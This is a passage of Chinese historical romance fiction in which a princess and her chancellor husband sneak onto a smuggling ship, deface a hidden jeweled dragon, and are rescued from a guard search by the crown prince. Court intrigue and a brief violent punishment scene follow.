朝宁倏地回身,将他强硬地抵在了整个货箱上。
贺砚知眼看着朝宁以手轻挡在他颈前,附在他的耳边轻声道:“你之前去过绥丹,可知那里的人手腕处可有什么特别?”
温热的气息拂过耳际,贺砚知微微侧首,怀中人却浑然未觉此刻姿态的亲昵。
虽身着粗布衣裳,贺砚知仍能嗅到她发间淡淡的桂花香。
见他不答,朝宁蹙眉回首,却险些触到他近在咫尺的面容。呼吸倏然一滞,“你...”
贺砚知嘴角上微微勾笑,一只手敷在朝宁的头,突然将整个人拢在了怀里,不等朝宁挣扎,他低声道:“有人。”
朝宁不挣扎地靠在他怀里,“绥丹人惯于游牧,风雪中常在手腕处缠鹿皮御寒。”
朝宁靠在他怀里,听着他的心跳砚知的声音如同青丝入耳,像爱侣呢喃
“快些!船就要开了!”突如其来的吆喝声将二人惊得齐齐蹲下身,如一对受惊的雀儿般缩进更深的角落。
当朝公主与权臣此刻竟似偷食的老鼠,在货箱间蹑手蹑脚地移动。
朝宁来回观望,确定没人后便松了口气,“若照你所言,刚才那艘船绝对有问题,整个岸上的工人只有他们将手腕、脚腕包的严实,绝对不是大夏人。绥丹不通水路,竟然手都已经伸到这儿了!”
“那殿下想做什么?”
“自然要探个究竟。”朝宁眼中闪过锐光,“看看摩什究竟在搞什么鬼。”
贺砚知挑眉:“殿下已有良策?”
朝宁望了望,嘴上露出一抹不善的笑容,“等着吧。”
朝宁唇角勾起一抹狡黠的笑,身影如燕般掠过几个货堆。不过半盏茶功夫,她便捧着两套衣衫返回。
朝宁面露嫌恶,将其中递到贺砚知面前,“换上吧,虽然…将就一下吧。”
他们俩迅速换了身行头,这衣服上也是大有说法,在衣襟前面虽然破烂或是染上灰渍,但是有一处确实有红线勾出的一个小小的符号,若是不盯着这一处看,混在其中很难发现。
出行前两人的装扮还没掉,但是……
朝宁望着贺砚知过于白皙的面容,心上一计,忽地从地上抹了把灰土,轻快地在他颊边划了几道。
贺砚知抬眸看她,见她强忍笑意的模样,不由失笑:“干活工人嘛,脸总不能干干净净……”
话音未落,他却突然将朝宁拉回怀中,指尖同样在她脸上抹出几道污痕。
“互相伤害”过后,二人这才低着头,成功绕到了货物搬运队伍中,顶上刚才被朝宁打晕的两人的空缺,抬着箱子往船上走。
果然,箱体并不沉重,但是箱缝中还滴答滴答不断渗出水,还散发着一股鱼腥臭味。
估计是以此蒙蔽这船中真正的东西。
货舱的货物不少,每个都是超大的箱子,他们放慢了步子,故意将这个箱子抬放到更里面的位置,货箱高大,前前后后进出的工人不少,每个人都闷着声干活,谁也未注意,有两个人躲进后面箱子的缝隙中。
随着哐当一声,里面唯一的光亮被隔断,“今日货都装好了,通知下去,守着船外,莫要让任何人上船,也不能被发现异常。”
“看来这些箱子都是幌子。”贺砚知压低声音道。
朝宁点点头,这货舱位于这船身处,在两人进来时,便已经大致看了一圈,所有的箱子都渗着水,而且腥臭味越来越浓,若是摩什真是有心藏匿物件,不日便会染上鱼腥味,无论作何目的,都不是一个好主意。
“装货的船舱怕是障眼法。”她轻声道,“要知摩什的计划,须得往上层去。”
待舱外动静渐息,两人开始在货舱内探查。脚步踏在老旧木板上,发出吱呀声响。
朝宁从怀里掏出了个火折子,抛给了贺砚知。
“公主还随身带着这个?”贺砚知挑眉。
“从那两个工人身上顺来的。”朝宁撇嘴,“没想到他们家伙什倒齐全。废话少说,快找找,总不能真在这鱼腥味儿里过夜。”
火折子亮起昏黄的光,两人分头查验每个箱子里,几番折腾下来却一无所获。
这里面全是死了臭鱼烂虾,毫无有价值的东西,若不是那些工人的异常举止,加上刚才外面的对话,朝宁几乎要怀疑自己找错了船。
火光摇曳中,贺砚知看见朝宁颓然蹲坐的身影。暖黄的光晕描摹着她侧脸的轮廓,那双小鹿般清澈的眸子里盛满失望,沾着灰痕的脸颊让她像只失落的花猫。
“公主殿下这是失算了?”
朝宁嗔了他一眼,“总归是要找到这儿的,而且,我不信这艘船上一点蛛丝马迹都没有。”
“若这是南灵设的局,整艘船都是请君入瓮的陷阱呢?”贺砚知饶有兴致地观察她的反应。
朝宁忽然勾起唇角:“你又怎知我没有后手?”
她的手落在了贺砚知的肩头轻拍两下,“贺大人,如此神通广大,不如想想如何回到船上面?”
“法子倒不是没有...”贺砚知话音未落,朝宁已凑近前来。
“说说看?”
“那是不是公主要欠我一个人情呢?”贺砚知也凑近她,微弱的光亮在他们俩人中间闪烁。
又来了!朝宁最受不了贺砚知这幅样子,总是有种把她戏耍了的感觉。
她强压心头火苗,齿缝间挤出声音:“那是自然!待脱身后,一定好好''答谢''贺大人!快说!”最后几个字说得咬牙切齿,几乎能听见她银牙碾磨的细响。
贺砚知眼底掠过一丝得逞的笑意,顺势牵起她的手腕往船尾去。火折子抬高时,一块四四方方的盖板在光影中显露痕迹。
“你如何知晓?”朝宁难掩诧异。
贺砚知不语,将火折子塞进她手中,指尖在木板四角灵巧按压。
只听“咔哒”轻响,整块盖板应声滑开,露出上方幽微烛光,竟是通往上层船舱的密道!
“上去吧。”
距离不高,朝宁会武功这种高度也不在话下,她轻轻一跳便抓住了上面,只是她还未向上使力,腰腹忽被一只有力手臂圈住。滚烫掌心透过粗布衣衫烙在肌肤上,
腰间的痒意,好像顺着往上灼热了朝宁的耳蜗。
“你,你干什么?”
“怕殿下摔着。”贺砚知声线清冽如泉,手上却不容抗拒地将她稳稳托举而上。
她也没想到贺砚知,平时看着柔柔弱弱的,力气倒也是不小。
待朝宁回神站稳,贺砚知已轻捷翻
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入舱室。
这是上层的船舱,里面的装饰更是富丽堂皇,雕梁画栋,熏香味和下面鱼腥味形成了两个对比。
看来这层货船,下面的货是假,这个地方才是真。
朝宁道:“抓紧找找,看看能发现什么。”
上面全是一些书法画卷挂在四周,一张棋桌落在小榻上,朝宁翻遍了整个书架上大大小小的盒子,也没有发现什么。
贺砚知径自走向棋桌,悠然在榻上落座。棋盘光洁如镜,他信手从棋罐中取出一枚白玉棋子,指尖微动,棋子轻叩棋盘发出清脆声响。
静默片刻,他手掌忽地按在棋盘侧面,稍一用力,整张棋盘应声翻落。
“你小心些—”朝宁闻声转头,却蓦地睁大眼睛,“这是……!”
只见棋盘下竟暗藏一方空格,其中端放着一个与棋盘同等大小的紫檀木盒。
贺砚知略显无辜,“我只是轻轻一碰,它就自己掉下来了。”
“藏得可够深!”朝宁惊喜交加,顺手在贺砚知发顶轻拍一记,“真有你的!”
贺砚知微微一怔,目光久久追随着她灵动的身影。
朝宁打开藏在里面的盒子,入目便是一个金镶玉翠的一个活生生的龙摆在其中,龙身盘旋,栩栩如生,仿佛随时都会破盒而出。龙的眼珠是两颗晶莹剔透的红宝石,纵使朝宁也未曾见过如此刀工。
见此,朝宁心中明镜,“这摩什是想在归宁节把这个送出去。”
贺砚知开口,“就这一个东西,纵使再精致,摩什要通过乐宴坊递到圣前?为何他不直接献上?而且,再精致也不过是个物件,陛下也不会因为此物,就能改了主意。”
朝宁在小榻另一侧坐下,神色凝重:“归宁节在即,以摩什的性子,绝不会做无谓之举。依我看,关键不在宝物本身,而在于乐宴坊这个献宝的地方。”
“殿下似乎很了解摩什?”贺砚知若有所思地看向她。
朝宁垂眸不语。连她自己也不明白,为何会对摩什的心思如此了然,仿佛与他周旋已久。
梦中场景如此玄幻,朝宁也未敢全信,可是梦中所有的感官却在现实中完全放大。
她忽然抬眼,唇边漾开一抹似笑非笑的弧度:“我以为贺大人会更了解呢?”指尖轻轻点着棋盘上残留的棋子,“贺大人随父皇出征西域时,计谋出神入化,让绥丹人闻风丧胆。想必对绥丹人的心思,贺大人比我更了解。”
贺砚知唇角微上扬,似墨玉棋盘落子时的从容轻叩,“殿下的话总是让人无法反驳。”
“既然如此,这么精致龙是留不得了。”朝宁微眯着眼睛。
“带走?”
朝宁冷笑,“带走太麻烦了,毁了不是更容易。”
说罢,她抄起方才发现的匕首,又取来砚台中的墨汁。只见她手起刀落,匕首精准地刺入龙角上镶嵌的翡翠,刃尖划过之处,珠玉迸裂,细密的裂纹如蛛网般蔓延开来。
镶嵌不牢的宝石噼里啪啦地掉落在地。接着,她将浓黑的墨汁倾倒在龙身上,用匕首柄轻轻搅动,让墨汁渗透进每一道裂纹。转眼间,那尊栩栩如生的金龙变得污浊不堪,再也看不出原本的光彩。
朝宁将匕首放下,轻轻拍了拍手,仿佛完成了一件微不足道的事情。
她将盒子盖上,藏回棋盘下的暗格里。她用力按了按,确保一切恢复如初。
“走吧,既然做完了,这地方没有待着的必要了。”
就在二人起身之际,岸上忽然传来一阵骚动。
“执金吾!例行查船!”
12. 我与殿下夫妻一体
听到声响,朝宁扒开一点窗户缝隙,岸边站了密密麻麻的一群执金吾,执金吾是巡查京城、宫禁安全,隶属杜仕远的管辖内,此刻这般阵仗,着实也让她吓了一跳。
“怎么回事?”朝宁眼神瞟向贺砚知。
贺砚知蹙眉沉思,“最近并无查码头的消息,此事来得蹊跷。”
朝宁凝视着岸上那片刺目的金甲,眸中闪过一丝厉色:“你说,这杜仕远在里面伴着什么角色?”
杜仕远这人比起贺砚知来说,更加阴险毒辣,两朝元老,除了看不上她这个公主外,明里暗里更是给贺砚知使了不少绊子,毕竟二十四岁的右相,已然威胁到他在朝中的地位。
他似乎并不在意,“听动静,马上就要查到这儿了,说不好便是冲着我们来的。”
窗隙漏进的微风拂动朝宁额前碎发,即便身着粗布衣裳,她依旧肤白胜雪,此刻紧盯岸上形势。
听到贺砚知的话,转过头来分析道,“这事倒不像是南灵把我们卖了,毕竟若是真要抓咱们,外面的人早就进来了,还需要大动干戈,惊动执金吾?”
贺砚知没有立即接话,反而气定神闲地执起一枚黑子,指腹摩挲着温润的玉质棋面,从容落子在棋盘上。
朝宁透着缝隙看到所有的船工后退两步,警惕地围着这艘船,“你猜外面那些摩什的手下会让他们进来吗?”
“那便要看,这执金吾到底是秉公行事,还是逢场作戏喽。”
朝宁回过头看着那棋盘上已经被摆满的黑子,翠玉的手指随便拾起一枚白子,落到了刚才黑子的一侧。
忽略掉两人的行装,倒真是像一对才子佳人,泛舟游行,淡然下棋。
贺砚知眉眼微垂,长睫如鸦羽覆住眸中情绪,好似真的在走这盘棋局。
朝宁手支撑脸颊,无趣地下着棋,“贺大人不愧是见过大世面的,一点也不紧张?”
贺砚知悠然一笑,“有公主殿下照拂,怎会出事?又何须担心。”
外面喧嚣一片,船室岁月静好。
岸边的执金吾装甲走动时,发出难以忽视的咔咔响声,官家查岗,码头上的工人停了手里的活,垂着头站在一起,大气都不敢喘。
执金吾统领柳韦板着一张脸,带着执金吾径直走到朝宁所在的船前。
“执金吾,奉命查船。”柳韦不耐烦地亮了一下手里的牌子。
船前领头人忐忑地走上前,扯着笑,“官爷,我们在这儿码头干了许多年,不过是做一些鱼虾生意。”
他赶忙将旁边人手上的簿子拿到跟前,“您瞧,我们这批货的种类、数量都记在这上面了,我们都是做正经生意。”
柳韦未伸手,只是冷眼瞧着那管事翻来翻去,最后冷笑一声,挥手将那簿子打到地上。
“执金吾!查船,听不懂话吗?”他凑近几分,挑衅意味分明。
这柳韦,京城谁人不知,仗着与杜仕远有几分姻亲,进了执金吾后没几年升到了统领位子,私下里为非作歹,所做坏事均被压了下去。
如今,他带着人到了这码头,必然是与那杜仕远脱了不关系。
领头人已经冷汗直流,上面的命令是不让任何人上船,可谁想到这官家竟然跑到这儿发难,现在大夏境内,如何敢跟反抗。
岸边的争吵声,尽数落在他们二人眼中。
棋子不一会儿就落满了棋盘,黑子、白子现在难分伯仲。
“公主殿下的棋艺精湛。”
“别瞧不起人。”朝宁摆下赢棋的最后一子,傲娇道:“本公主会的东西多着呢。”
贺砚知会心一笑,“那以后可是要多多领教了殿下的其他技艺了。”
朝宁懒洋洋地靠在一侧,下棋是修身养心的技艺,但是她性子跳脱,从不喜这些,却也是从小被逼着学了好久。现在外面快乱成一锅粥了,也就贺砚知能有心在这儿安然无恙的下棋。
贺砚知边将棋子收回罐中边说道:“看来这船的领头并不知道今天执金吾要到。”
“他不知道,不代表摩什不知道。”朝宁听着岸边动静,“不过柳韦狐假虎威,着实让人心烦,定是要找个时间好好收拾一顿。”
贺砚知最后一颗棋子已经收起,棋盘恢复如初,淡淡地说着,“若是他们上了船,便是瓮中捉鳖,怕是逃不掉了。”
一副闲逸样子,全然看不出丝毫紧张神情。
朝宁打量着船身,“这船停在岸上,水位也不深,船上有绳索顺势入水,游回岸上不就行了。”
贺砚知心虚地摸了摸鼻子,朝宁心道不好:“你别告诉我,你不通水性!”
“我自然没有殿下,那般多技艺傍身。”
朝宁露出嫌弃表情,“不会武功,还不通水性,倒不如本公主一人来了。”
她低头看了一眼棋盘,朝宁只觉得头疼,“那你还这么悠闲在这儿下棋?”
“既然逃也逃不掉,下下棋消磨时间也不错。”
“哼,你还真是心宽呢!”朝宁瞪了他一眼,趴在窗缝继续看着外面。
-
柳韦发了火,惹了不少看热闹的人围上来,但是也只敢看着,执金吾的手段,谁也不敢公然闯上去。
柳韦掏了掏耳朵:“是你自己躲开,还是我让人把你拖开!”
领头人冷汗直流,“您真别为难小的,小人实在是做不了主啊,这船主人不在这儿,我们不过是拿钱干活,请您高抬贵手....”
那人从袖子中掏出一个布袋子,偷偷摸摸塞进了柳韦的怀里。
“您大人有大量...”
布袋子重量不轻,柳韦毫不避讳地颠了颠,冷笑,“我也不是那刻薄的人,实话和你说,我们执金吾今日来此,是得了信,说你们船上藏了不该藏的东西,只要乖乖地让开,我们执金吾秉公办事,自然不会为难你。”
领头人讨好的笑容瞬间僵住,这无耻之徒收了钱,根本没有放过他们,更是那句“藏了不该藏的东西”,直戳他的心口,若真耽误大计,够他们死八百回。
柳韦将钱揣进怀里,用力拍着他肩膀,“让开吧,我的耐心有限。”
背后的执金吾握着的刀已经拔出来了,若是他们硬上,只会更心虚,这帮人能把这艘船整个拆了,几番斟酌,颤颤巍巍地让开一条路。柳韦冷笑一声,挥手示意,身后的执金吾立即鱼贯而上。
贺砚知看着朝宁仍然淡定,“人快来了,殿下想到办法了吗?”
朝宁也放弃抵抗,摆摆手,“公主不是万能
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,大不了一起进监牢,也不知执金吾敢不敢动我,只是可惜了贺大人,堂堂右相名声尽毁。”
贺砚知假装叹息,“我与殿下夫妻一体,殿下真不怜惜自家夫君。”
“怎么会?”朝宁挑眉一笑,“若贺大人真入了狱,本公主心情好时,说不定会去劫个牢,将你捞出来。”
与此同时,执金吾正要踏上船板之际,身后忽然传来一个清朗的声音:“好热闹啊!不知柳大人在此兴师动众,所为何事?”
柳韦闻声转身,见到来人顿时脸色大变,当即跪倒在地:“臣参见太子殿下!”
朝珩一袭白灰常服,身后跟着几名侍卫,正含笑打量着眼前的阵仗。
谁都不曾想到太子会亲临码头,在场众人慌忙跪拜行礼,执金吾们也齐刷刷跪了一地。
朝珩径直走到柳韦面前,神色莫测。
“殿下……”柳韦伏地禀报,“臣奉命查船……”
朝珩面上带笑,眼底却无丝毫波动:“柳大人不必紧张,孤恰巧来码头办事,不料遇上执金吾如此大的阵仗。”
没有太子的命令,无人敢起身。
柳韦战战兢兢道:“殿下,臣接到举报,称此船藏有赃物,特来查证。”
朝珩伸手虚扶起柳韦,语气平和:“既有此等要事,孤竟不知情,先如今查船自然最为紧要。”
柳韦连声称是,正要使眼色命人上船,却听朝珩又道:“事关重大,孤理当亲自查验。于明,带人随孤上船。”
柳韦脸色变得更加难看,下意识侧身挡在朝珩身前,“殿下,维护京城安全,本就是执金吾的责任,殿下贵体尊贵,怎能亲自去查?”
“柳大人是想拦孤?”
“臣不敢!”
朝珩收起笑容,“孤出城多日,竟不知这京城已经是柳大人说了算,孤查船还需要跟执金吾报备?”
“殿下息怒!臣万万不敢!请殿下登船!”柳韦慌忙退让。
执金吾纷纷退下,朝珩领着侍从登上船。踏入船舱,只见朝宁与贺砚知悠闲地坐小榻之上,中间摆着一个棋盘,两人皆是一身尘灰,看得朝珩一时语塞。
“皇兄!”朝宁快步迎上,压低声音。
贺砚知起身施礼,朝珩微微颔首,神色复杂。如此端正守礼的贺砚知,不过与朝宁成亲没几日,现在变成这等胡闹样子。
“你呀你!”朝珩无奈摇头,“胡闹至此,让皇兄说什么好!”
朝宁挎着朝珩的胳膊,轻声细语,“多谢皇兄,这件事之后再同皇兄解释!”
朝珩有点无奈,回头示意。
过了一刻,朝珩带着人从船上下来,柳韦以及身后执金吾,不敢上前也不敢走。
“殿下...”
朝珩对柳韦道:“柳大人放心,此船上上下下,包括货舱中的所有货物,孤都已仔细查验,不过是些普通鱼虾。想必是有人恶意谎报,让执金吾白跑这一趟。”
柳韦低头称是,不敢多言:“有劳殿下。此乃执金吾分内之职,臣往后定当更加尽心巡查京城。”
“有柳大人这般忠臣,实乃大夏之福。”朝珩说罢,率人离去。
目送太子一行远去,柳韦脸色铁青,厉声道:“还不速去禀报!”
13. 殿下可完全信我?
朝珩离开码头后,径直去了醉月楼最里间的雅阁。侍卫们静候在外,唯有两名亲随跟进室内。房门方合,他便转身,目光如炬地扫过二人。
“说说吧,到底怎么回事!”
“侍卫”抬起头来,便是刚才船上灰头土脸的两个家伙。
朝珩带来的侍卫中,有两人与朝宁、贺砚知身形相仿。在众人不注意时,四人悄然调换了装束,朝宁二人扮作侍卫随太子离去,而那两名侍卫则从船侧潜水上岸,瞒天过海。
朝珩看着眼前这对狼狈不堪的两人,素来温和的太子殿下,现在似乎也有些生气。
朝宁松了口气,扯下绑在自己身后的破布条,泼墨般长发披在肩上,即使再多的尘土,也掩不住独属于她的美貌。
她自顾自寻了处座位,倒了杯茶水一饮而尽,这才笑道:“今日多谢皇兄了。”
朝珩面露无奈,屈指轻敲桌面:“说吧!你和……”他抬眼瞥向静立一旁的贺砚知,续道:“你们二人为何会出现在那艘船上?柳韦今日兴师动众,分明意有所指,那船里究竟藏了什么?”
“皇兄多虑了,你也知道我素来闲不住…今日恰巧在码头瞧见几个绥丹人鬼鬼祟祟登船,一时兴起便想去探个究竟。”
“绥丹人?”朝珩眉头紧蹙,“此事竟与绥丹有关?”
“是啊,皇兄!”朝宁顺势接话,“不过一个中秋节,谁知道这蛮夷小国,会闹出什么风波。”
“这事皇兄会亲自查清。”朝珩指尖轻点朝宁额间,“倒是你…中秋宴上与摩什当众争执,今日又撞见绥丹秘船,当真只是巧合?”
朝宁从小到大,独来独往,性子也不安定,长大之后更是在京城四处惹事,朝珩主动帮她摆平了不少,今日也是得了消息,带着人去了码头,却没想到碰上了执金吾。
“哎呀,皇兄,你怎能不信我...那日宴席分明是摩什先行挑衅!今日纯属意外…”说着悄悄向默立一旁的贺砚知递去眼色。
“而且今日出府,是我这好夫君出的主意,我们刚成亲不久,今日又逢他休沐,贺砚知说要陪我逛逛,这才误上了那艘船。”
朝珩一脸狐疑地看着她,朝宁认真地点点头,“皇兄,你知道的,我不可能骗你的。”
恰在此时,贺砚知睫羽微颤。他垂眸时正迎上朝宁转来的目光,忽然忆起方才船上她说的“祸水东引”之语,唇角不由漾起一抹意味深长的笑意。
朝宁见他莫名发笑,不禁蹙眉,暗忖这人莫非傻了脑袋。
朝珩将视线转向贺砚知,他也知道这是朝宁信口胡诌,却存心要听贺砚知如何说,毕竟两人之前一直不和。
“确如公主所言,是臣邀公主出游的。”贺砚知温声应道。
室内倏然一静,朝宁执杯的手微微一顿,旋即笑开:“皇兄你看,我未曾扯谎。”
朝珩审视二人良久,终是轻叹:“随你们吧,但若下一次再有这种情况,定要先知会皇兄,听见没有?”
“知道啦!”朝宁笑吟吟应下,“皇兄还忙,早日回去吧,改日我一定给皇兄送一只最漂亮的鸟儿!”
朝珩微微一笑,难得他这个妹妹还能记住他的喜好,“你们无事便好。”
“恭送太子殿下。”
朝珩行至贺砚知身侧,轻拍其肩:“颐宁性子跳脱,劳烦砚知多管着她点。”
待朝珩离去,室内只余二人。
铜炉中的沉香冉冉升起,此刻正值午时左右,窗外的阳光洒下来,隔着窗纱将桌前的朝宁笼在光内,朝宁的指尖摩擦过青瓷杯沿,“刚刚配合不错。”
贺砚知从容落座,执起另一只相同的瓷杯,清泉入盏时漾开细碎流光,“殿下在船上不是早已安排妥当,要让臣担下这罪名么?自然要好生配合。”
“算你识相!”
“殿下在船上所说的后招是太子殿下?”
朝宁不做否认,“我又不是傻子,怎会完全相信一个陌生人。况且你以为我们这般出入乐宴坊,真能确保无人跟踪?不过是派了尾巴清理一下罢了。”
“既然殿下如此深谋远虑......”贺砚知身子微微前倾,眼中流转着戏谑的光,“那殿下可曾完全信过我?”
这个问题自他们卷入摩什之事起,便反复横亘在二人之间,几经试探,从未止息。
朝宁将手中杯落于桌上,“以前不信,不过既然都已经牵扯进来,总是要信的。”
话音未落,她倏然变色,一把攥住贺砚知的衣领将人带至跟前。二人气息彼此交织。
“不过,要是你真的要与我为敌...”朝宁纤指抵上他心口,指尖隔着衣料传来温热的触感,“这里,定会被我捅上一刀。”
贺砚知凝眸注视着近在咫尺的容颜,这个距离足以让他看清她脸上细小的绒毛,和眼尾那颗淡得几乎看不见的朱砂痣。
朝宁从不掩饰自己的野心与锋芒,此刻那双明亮的眸子正如实地映照着她此刻的情绪。
一股不明情绪涌上了心头,似乎就是被那手指勾起的。
双手不知道何时落在了朝宁的腰间,他稍一用力,便将人彻底拥入怀中。
电光石火间,朝宁的唇瓣擦过他的唇角,最终落在他的颊边。那转瞬即逝的柔软触感,却令人无法忽视。
忽略他们之间的对话,谁都会以为是一对相爱的恋人,在缠绵亲吻。
腰间的手臂霸道而不容挣脱,让素来无所畏惧的朝宁也不由得慌了神:“你发什么疯?”她感觉到自己的心跳得快极了,而更令人心惊的是,紧贴的胸膛里,对方的心跳也同样急促。
“殿下说的,”贺砚知的声音低沉得近乎耳语,“若我背叛,刀子便会落在我身上,只是这样的姿势,殿下不是能刺得更深吗?”
朝宁只觉脸颊发烫,却仍强作镇定,“看不出来,贺大人也有这么疯的时候。”
“全跟公主学得。”
-
两人在醉月楼更衣净面,从正门坦然走出,任谁也想不到他们上午曾经历那般惊心动魄。
只是……
当事人现在却与早晨来时不太一样。
朝宁步履如风,将贺砚知远远甩在身后,全然不愿理会那人。
方才的画面在脑中挥之不去,她觉得自己定是中了邪,竟连相拥多久都记不分明。
自那刻起,她颊边与耳际的红晕便未曾消退半分,朝宁不禁暗自埋怨:中秋都已过了,天气为何还这般燥热?
贺砚知则不疾不徐地跟在她身后,目光始终追随着那道跳跃的身影。
他清楚地知道自己方才做了什么,以及那些本不该逾越的界限。只是活了这么久,他突然觉得随心而动,不是什么坏事。
明明从贺府到醉月楼不过一刻钟的功夫,两个人却好像走了好久。
一进府门,朝宁便撞见莲心抱着一筐晒好的白菊走过。
“殿下……”莲心刚开口,朝宁已匆匆应了一声,头也不回地离去。
莲心觉着公主今日有些反常,抬头又见驸马缓步而来,想起清晨二人是一同出的门,便上前行礼。
贺砚知望见她怀中的白菊,问道:“为何备了这么多晒干的白菊?”
“这些是往年存在公主府的,今早奴婢特地去取了些。殿下素爱饮酒,白菊加绿叶煎汤可解酒醒脑,因此府中每年秋日都会采鲜菊晒制,以备不时之需。”
莲心抬头看了一眼贺砚知,后知后觉,自己好像说的有点多了。
“奴婢这就下去给公主准备醒神饮了。”
“等等,”贺砚知叫住她,“稍后你去找梁蔗,从我书房取些今年新进的茶叶来。”<
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莲心愣神间,贺砚知已经走远,她眨眨眼睛,究竟是谁传言驸马与公主不睦的?驸马分明很是体贴殿下。
朝宁洗了澡,换了一身衣服,静静坐在镜子前,玩弄她的小摆件,从今早上到刚才的醉月楼,关于贺砚知的画面不停地闪进朝宁的脑子里。
唇畔那抹转瞬即逝的温软触感,仿佛仍未散去。朝宁摇了摇头,忽然警觉自己是否对他过于上心,本就是一场合作的婚事,难道还当真了不成?
想通之后,她舒展了一下腰身,揉了揉仍在隐隐作痛的额角。昨夜喝了那么多酒,确实还是有点头痛的。
门外响起莲心轻快的脚步声,得了应允后,她端着醒神饮推门而入,眼角眉梢都透着雀跃。
“遇上什么好事了?笑成这样。”朝宁慵懒地支起身子。
莲心抿嘴摇头:“殿下趁热喝了。”
朝宁接过瓷碗轻啜一口,忽觉滋味与往日不同,垂眸细看:“这味道似乎……”
“这是驸马特意嘱咐的,据说是今年新贡的茶叶,驸马自己都没舍得尝,全给殿下送来了。”
朝宁差点被呛到,“新贡的茶叶?说的那么好听,我一公主怎么没收到?”
又喝了一口,“算了,毕竟他才是父皇心尖上的宠臣。”
莲心瞧着公主这般情态,忍笑忍得辛苦,这完完全全就是一对新婚热恋的夫妻嘛。
朝宁瞥见她偷笑,屈指轻弹她额头:“又在瞎想什么?好了好了下去吧,我要休息一会儿,晚膳时辰再来唤我,让厨房给我做些本公主爱吃的!不要管贺砚知!”
莲心连声应下,仔细铺好床榻,待朝宁躺下方才悄声退去。
-
书房内。
梁蔗从门外进来,“殿下已经睡下了。”
贺砚知应了一声,没有抬头,拿着笔在一张纸上写着什么。
梁蔗知晓自家主子今晨的遭遇,贺砚知出门一直有人跟着,今日半路却遇公主的人,险些被发现,随即得了主子令,撤了回去。却万没想到会与执金吾和太子扯上关系。
他屏息凝神,总觉得空气中还萦绕着若有似无的鱼腥味。
贺砚知已经将纸上的东西写好,密函很快被卷成细小的卷轴,以火漆封缄。
“传出去,再加派人手盯紧摩什的动向。”
梁蔗迟疑道:“主子的意思是......”
贺砚知眸光幽深如潭:“既然他们想找,我们为什么不做个渔翁之利呢。”
“属下明白。”梁蔗心下暗喜,原本担心主子陷在公主这边忘了正事,如今看来一切仍主子的掌控之中。
正当他转身欲退时,贺砚知忽然唤住他:“等下再带回些东西回来。”
-
杜府内。
柳韦跪在冰凉的地上,额角沁出细密的冷汗。
“叔父息怒!实在是...实在是没料到太子殿下会突然现身...”他声音发颤,不敢抬头看座上之人。
杜仕远慢条斯理地撇去茶沫,苍老的脸上掠过一丝不耐:“不过是查艘船,执金吾在你手里,好像变成一个废物,传出去丢的是相府的颜面。”
“求叔父再给次机会!下回...下回定将功折罪!”
寂静在室内蔓延。柳韦屏息跪伏,直到听见上方传来一声叹息:“起来罢。终究是老夫一手提拔的人...”杜仕远摩挲着翡翠扳指,“莫要再让老夫失望。”
柳韦如蒙大赦,连忙叩首:“叔父栽培之恩,没齿难忘!只是太子今日来得蹊跷...”
“是不是巧合都不打紧。”杜仕远眼底闪过精光,“摩什自以为能拿捏老夫,现下还没那个胆子与东宫硬碰。”
“那...今日在货舱旁晕厥的两个工人,”他忽然话锋一转,“当真是摩什的人?”
14. 桂花酥
柳韦伏在地上,连呼吸都放得极轻,方才一番惊吓让他心头发怵,只得硬着头皮应道:“确,确实是。”
他其实并未亲眼见过那两人,平时这种小事怎么会入他的眼,谁曾想背后竟牵扯如此复杂,现在也只能应下来。
杜仕远的目光如冷刃般扫过他,凌厉的眼神似乎像是刀片削在柳韦的身上。
柳韦只觉得脊背发凉,再也撑不住,急忙主动请命:"叔父放心,我这就加派人手盯紧驿馆,必定将摩什的动静查个明白!"
"铛"的一声,青瓷茶盏被不轻不重地搁在桌上。柳韦暗自松了口气,深知这位叔父的脾性,这是放过他。
"管好你的执金吾。"杜仕远的声音听不出喜怒,“今日发生的事情我不想看到第二回。”
"绝不会有下次!"柳韦连忙叩首,午后的阳光正好,照在身上却让他打了个寒颤。
-
京城内一处宅院中,气氛同样生寒,七八个汉子跪伏在地,瑟瑟发抖的身形在青砖上投下扭曲的暗影。
摩什跨坐在紫檀小榻上,狼目森然,下颚绷出凌厉的弧度。
“今天的事,给我个解释。”
底下跪着的皆是今日码头船工,原本万无一失的差事,竟同时惊动了执金吾与太子,闹出这般惊天动静。
格吉尔抬脚便将领头人踹翻在地,那人呜咽着又慌忙爬回原处磕头:"是...是卸货后发现有两人被打晕在货舱...执金吾闻讯赶来要搜船,后来..."
声音渐弱,摩什面色愈发铁青。
他倏然起身,走到那人跟前俯身看人,棕褐色的眸子像是下一刻就要把人生吞。
刀光瞬间闪过,红色血迹洒在了地上,染红了衣角,还有一只断了的残肢。
原本沉寂爆发了痛苦的哀嚎声,那船工蜷缩在地上不停抽搐,断处白骨森森,喷溅的血珠有几滴落到摩什的眉骨处,那笑容仿佛是草原上啃食猎物后的餍足。
突如其来,那几声哀嚎声硬生生撕碎在场其他人心脏,那泛着白光的刀刃,仿佛下一刻就会落到任何一个人身上。
摩什漠然瞥过地上血泊,格吉尔立时唤人将昏死的船工拖出,落下一地渗人的血渍。
"你,"格吉尔刀尖指向旁侧颤抖之人,"为什么你们没有发现少了人?"
"码...码头人多眼杂,货一上船...除了留守的...其余都混进其他船队里...怕露了痕迹..."
“废物。”摩什棕色的瞳孔边起了一圈血丝,“全都是废物!”
格吉尔低声道,“王子,眼下不宜妄动。东西虽在,但风声太紧,需得从长计议。”
摩什冷笑,“回去守着,若东西有半分差池,你们下场比方才更凄惨百倍。”
跪伏之人如蒙大赦,连滚带爬地退下,生怕慢一步便血溅当场。
屋内只剩二人时,格吉尔低声道:"王子,杜仕远那老狐狸,似乎存了异心。"
“不过是一个没用的老头子,自以为是,他那些见不得光的把柄,足够让他死上十次。眼下尚未到撕破脸的时候...先给他些教训尝尝,让他知道不老实的下场。”
"属下这就去办。"格吉尔迟疑片刻,"今日之事,是否与贺砚知有关?
想到那日见到的贺砚知,如此趾高气扬,摩什指节骤然发白:"先前派去的探子有何消息?"
格吉尔喉结滚动:"方才巴青烈来报,我们安插的暗桩...全被拔除了。"
“拔掉了?”
格吉尔低垂着头,也不敢细说惹了面前的主生气,“这贺砚知恐怕没有想的那么简单。”
摩什眼神更加毒辣,轻笑,“今日这暗桩拔了,码头就出事,没猜错的话,那船上就是他们的人,能惊动到大夏的太子,也不足为奇了。”
“那王子,我们是否进一步...”
摩什抬手,打断他的话,“朝宁在他府里,正好借他找到咱们想要的,铲了他,再弄掉那个杜仕远,整个大夏朝堂也塌了一半。”
格吉尔犹豫:“那是否还派?”
“不必了。”
